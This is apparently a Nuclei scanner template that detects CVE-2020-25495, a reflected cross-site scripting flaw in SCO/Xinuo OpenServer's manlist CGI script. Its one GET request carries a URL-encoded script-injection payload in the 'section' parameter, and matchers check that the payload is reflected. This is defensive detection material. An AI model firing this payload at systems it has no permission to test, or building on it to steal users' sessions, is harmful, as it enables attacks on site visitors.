id: CVE-2020-25495

info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.08142
    epss-percentile: 0.9427
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210085356f9840c0cd513d64355901b30768a45cfdb123b448c211767b71176465e30220288167cd7214db6b73fd26b532d64c02cf2b9c9d4e4c6b327fe3aefd70f51308:922c64590222798bb761d5b6d8e72950